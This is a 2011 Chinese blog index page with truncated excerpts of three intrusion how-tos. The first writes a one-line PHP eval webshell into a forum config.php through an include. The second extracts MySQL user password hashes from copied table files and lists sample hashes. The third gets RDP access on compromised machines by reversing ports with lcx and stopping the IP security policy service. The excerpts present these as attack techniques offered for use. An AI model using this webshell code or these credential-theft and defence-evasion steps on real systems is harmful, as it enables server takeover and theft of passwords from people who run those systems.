2011年5月17日

php包含apache写马

摘要： 一句话木马<?eval($_POST[cmd]);?>到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是<?$fp=fopen(“/home/virtual/www.xxx.com/forum/config.php”,”w+”);fputs($fp,”<?eval($_POST[cmd]);?>”);fclose( 阅读全文

posted @ 2011-05-17 19:21 =_=! 阅读(165) 评论(0) 推荐(0) 编辑

mysql hash 密码破解的方法

摘要： mysql hash 密码破解讲解：mysql的用户名密码保存在mysql库user表中，找到MySQL\data\mysql\目录下的 user.MYD user.MYI user.frm 三个文件，拷贝到自己的mysql数据库目录下，就可以查看用户的hash了。用sql语句提取hash则如下： use mysql; select user,password from user;得到hash： test:*085D85329E1557C869A120C9157315A07D51E8A7 ogame:*085D85329E1557C869A120C9157315A07D51E8A7 iii6_ 阅读全文

posted @ 2011-05-17 09:27 =_=! 阅读(3773) 评论(0) 推荐(0) 编辑

开了3389无法登录原因和解决办法

摘要： 通常通过命令netstat -ano看到3389端口就说明已经开启的远程管理,当然是端口没有修改的情况了.但是经常我们还是会碰到无法连接情况,本文就增对可能遇到的情况进行一些说明,包含问题和解决的思路办法,要根据实际情况灵活应变.1.情况一:服务器处在内网中 思路:通过端口反弹到你本机,利用Lcx反弹是最常见的手法,另外如果你有同一个网络的肉鸡那么同样也是可以的.2.情况二:做了IP安全策略 思路:停止IP安全策略服务即可,命令:net stop policyagent3.情况三:系统防火墙的拦截 思路：同情况一的思路一致4.情况四:系统用户只设置了某些用户才能登陆5.情况五:系统做了TCP/ 阅读全文

posted @ 2011-05-17 03:26 =_=! 阅读(363) 评论(0) 推荐(0) 编辑

导航